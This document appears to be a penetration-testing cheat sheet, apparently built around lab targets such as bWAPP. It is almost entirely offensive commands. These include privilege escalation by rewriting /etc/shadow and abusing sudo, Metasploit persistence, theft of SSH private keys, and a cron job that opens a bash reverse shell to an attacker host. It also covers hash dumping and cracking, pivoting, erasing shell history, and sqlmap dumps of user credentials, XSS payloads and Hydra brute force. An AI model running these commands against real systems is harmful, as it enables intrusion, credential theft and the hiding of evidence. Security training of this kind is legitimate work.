find / -not -type l -perm -o+w  
  
# e.g. of /etc/shadow with write permissions  
openssl passwd -1 -salt abc password123  
vim /etc/shadow # Paste the hashed password  
su  
  
# SETUID - SUDO privileges  
find / -user root -perm -4000 -exec ls -ldb {} \;  
find / -perm -u=s -type f 2>/dev/null  
  
sudo -l  
  
# e.g. User can run 'man' with SUDO Privileges  
sudo man ls  
 !/bin/bash

### Win Persistence

# msfcosole - Admin Meterpreter  
search platform:windows persistence  
use exploit/windows/local/persistence\_service  
set payload windows/meterpreter/reverse\_tcp  
set LPORT <PORT>  
set SESSION 1  
run  
  
# Meterpreter - Enable RDP  
run getgui -e -u <NEWUSER> -p <PW>

### Linux Persistence

ls -lah ~/.ssh/  
cat ~/.ssh/id\_rsa  
cat ~/.ssh/authorized\_keys  
cat ~/.ssh/known\_hosts  
  
# Download the 'id\_rsa' file  
scp <USER>@<TARGET\_IP>:~/.ssh/id\_rsa .  
chmod 400 id\_rsa  
  
ssh -i id\_rsa <USER>@<TARGET\_IP>  
  
# Cron Jobs  
cat /etc/cron\*  
echo "\* \* \* \* \* /bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER\_IP>/<PORT> 0>&1'" > cron  
crontab -i cron  
crontab -l  
  
# Setup a 'nc' listener and wait for the Bash Reverse Shell  
nc -nvlp <PORT>

### Dumping & Cracking

#### Windows

hashdump  
  
# JohnTheRipper  
john --list=formats | grep NT  
john --format=NT hashes.txt  
  
gzip -d /usr/share/wordlists/rockyou.txt.gz  
john --format=NT win\_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt  
  
  
hashcat -a 3 -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt  
hashcat -a 3 -m 1000 --show hashes.txt /usr/share/wordlists/rockyou.txt

#### Linux

cat /etc/shadow  
  
# Metasploit  
use post/linux/gather/hashdump  
  
john --format=sha512crypt linux.hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt  
  
# Hashcat  
hashcat --help | grep 1800  
hashcat -a 3 -m 1800 linux.hashes.txt /usr/share/wordlists/rockyou.txt

### Pivoting

# Meterpreter on Target1  
run autoroute -s <TARGET1\_SUBNET\_NETWORK>  
run autoroute -p  
run arp\_scanner -r <TARGET1\_SUBNET\_NETWORK>  
  
background  
use auxiliary/scanner/portscan/tcp  
set RHOSTS <TARGET2\_IP>  
set PORTS 1-100  
run  
  
# MeterpreterPort Forwarding  
portfwd add -l <LOCAL\_PORT> -p <TARGET\_PORT> -r <TARGET\_IP>  
  
db\_nmap -sS -sV -p <LOCAL\_PORT> localhost

### Clearing Tracks

# Windows C:\Temp - Metasploit e.g.  
cd C:\\  
mkdir Temp  
cd Temp # Clean this C:\Temp directory  
  
## Cleanup Meterpreter RC File:  
cat /root/.msf4/logs/persistence/<CLEANING\_SCRIPT>.rc  
background  
sessions 1  
resource /root/.msf4/logs/persistence/<CLEANING\_SCRIPT>.rc  
run multi\_console\_command -r /root/.msf4/logs/scripts/getgui/<CLEANING\_SCRIPT>.rc  
  
clearenv  
  
# Linux /tmp  
cd /tmp  
history -c  
cat /dev/null > ~/.bash\_history

## Social Engineering

# GOPHISH - Linux Install  
cd /opt/  
# Get the latest version link from https://github.com/gophish/gophish/releases/  
sudo wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip  
sudo unzip -d gophish gophish-v0.12.1-linux-64bit.zip  
sudo chmod +x gophish/gophish  
  
cd /opt/gophish && sudo ./gophish  
  
## Run in Docker instead  
docker run -ti -p 3333:3333 --rm gophish/demo

## Web Application Penetration Testing

### Tools

# Gobuster - Install  
sudo apt update && sudo apt install -y gobuster  
  
# Dirbuster - Install  
sudo apt update && sudo apt install -y dirb  
  
# Nikto - Install  
sudo apt update && sudo apt install -y nikto  
  
# BurpSuite - Install  
sudo apt update && sudo apt install -y burpsuite  
  
# SQLMap - Install  
sudo apt update && sudo apt install -y sqlmap  
  
# XSSer - Install  
sudo apt update && sudo apt install -y xsser  
  
# WPScan - Install  
sudo apt update && sudo apt install -y wpscan  
  
# Hydra - Install  
sudo apt update && sudo apt install -y hydra

### Enumeration & Scanning

nmap -sS -sV -p 80,443,3306 <TARGET\_IP>  
  
# Dirbuster  
dirb http://<TARGET\_IP>  
  
# CURL  
curl -I <TARGET\_IP>  
curl -X GET <TARGET\_IP>  
curl -X OPTIONS <TARGET\_IP> -v  
curl -X POST <TARGET\_IP>  
curl -X POST <TARGET\_IP>/login.php -d "name=john&password=password" -v  
curl -X PUT <TARGET\_IP>  
  
curl <TARGET\_IP>/uploads/ --upload-file hello.txt  
curl -X DELETE <TARGET\_IP>/uploads/hello.txt -v  
  
# Gobuster  
gobuster dir -u http://<TARGET\_IP> -w /usr/share/wordlists/dirb/common.txt -b 403,404  
  
gobuster dir -u http://<TARGET\_IP> -w /usr/share/wordlists/dirb/common.txt -b 403,404 -x .php,.xml,.txt -r  
  
gobuster dir -u http://<TARGET\_IP>/data -w /usr/share/wordlists/dirb/common.txt -b 403,404 -x .php,.xml,.txt -r  
  
# Nikto  
nikto -h http://<TARGET\_IP> -o niktoscan.txt  
  
nikto -h http://<TARGET\_IP>/index.php?page=arbitrary-file-inclusion.php -Tuning 5 -o nikto.html -Format htm

### Attacks

# SQLMap
  
sqlmap -u "http://<TARGET\_IP>/sqli\_1.php?title=hacking&action=search" --cookie "PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security\_level=0" -p title
  
  
sqlmap -r <REQUEST\_FILE> -p <POST\_PARAMETER>
  
  
## List databases
  
sqlmap -u "http://<TARGET\_IP>/sqli\_1.php?title=hacking&action=search" --cookie "PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security\_level=0" -p title --dbs
  
  
sqlmap -u "http://<TARGET\_IP>/sqli\_1.php?title=hacking&action=search" --cookie "PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security\_level=0" -p title -D bWAPP --tables
  
  
sqlmap -u "http://<TARGET\_IP>/sqli\_1.php?title=hacking&action=search" --cookie "PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security\_level=0" -p title -D bWAPP -T users --columns
  
  
sqlmap -u "http://<TARGET\_IP>/sqli\_1.php?title=hacking&action=search" --cookie "PHPSESSID=rmoepg39ac0savq89d1k5fu2q1; security\_level=0" -p title -D bWAPP -T users -C admin,password,email --dump
  
  
  
# XSSer
  
xsser --url 'http://<TARGET\_IP>/index.php?page=dns-lookup.php' -p
  
'target\_host=XSS&dns-lookup-php-submit-button=Lookup+DNS'
  
  
xsser --url 'http://<TARGET\_IP>/index.php?page=dns-lookup.php' -p
  
'target\_host=XSS&dns-lookup-php-submit-button=Lookup+DNS' --auto
  
  
xsser --url 'http://<TARGET\_IP>/index.php?page=dns-lookup.php' -p 'target\_host=XSS&dns-lookup-php-submit-button=Lookup+DNS' --Fp "<script>alert(1)</script>"
  
  
xsser --url "http://<TARGET\_IP>/index.php?page=user-poll.php&csrf-token=&choice=XSS&initials=2&user-poll-php-submit-button=Submit+Vote" --Fp "<script>alert(1)</script>"
  
  
## Authenticated XSSer
  
xsser --url "http://<TARGET\_IP>/htmli\_get.php?firstname=XSS&lastname=hi&form=submit" --cookie="PHPSESSID=lb3rg4q495t9sqph907sdhjgg1; security\_level=0" --Fp "<script>alert(1)</script>"
  
  
  
# Hydra - Basic auth attacks (brute-force)
  
hydra -L <USERS\_LIST> -P <PW\_LIST> <TARGET\_IP> http-post-form "/login.php:login=^USER^&password=^PASS^&security\_level=0&form=submit:Invalid credentials or user not activated!"